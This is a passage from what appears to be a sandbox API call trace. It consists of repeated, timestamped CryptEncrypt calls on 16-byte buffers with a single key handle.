pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.869] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.869] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.869] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.869] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.869] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.869] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.869] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.869] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.869] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.870] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.870] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.870] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.870] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.870] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.870] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.870] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.871] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.871] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.871] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.871] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.871] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.871] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.871] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.871] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.871] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.871] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.871] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.872] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.872] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.872] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.872] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.872] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.872] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.872] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.872] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.872] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.872] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.872] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.872] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.872] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.872] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.873] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.873] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.873] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.873] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.873] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.873] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.873] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.873] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.873] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.873] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.873] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.873] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.874] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.874] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.874] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.874] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.874] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.874] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.874] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.874] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.874] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.874] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.874] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.874] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.875] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.875] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.875] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.875] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.875] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.875] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.875] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.875] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.875] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.875] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.875] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.875] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.875] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.875] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.876] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.876] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.876] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.876] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.876] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.876] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.876] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.876] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.876] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.876] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.876] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.876] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.876] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.876] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.877] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.877] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.877] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.877] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.877] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.877] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.877] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.877] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.877] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.877] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.877] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.877] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.878] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.878] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, 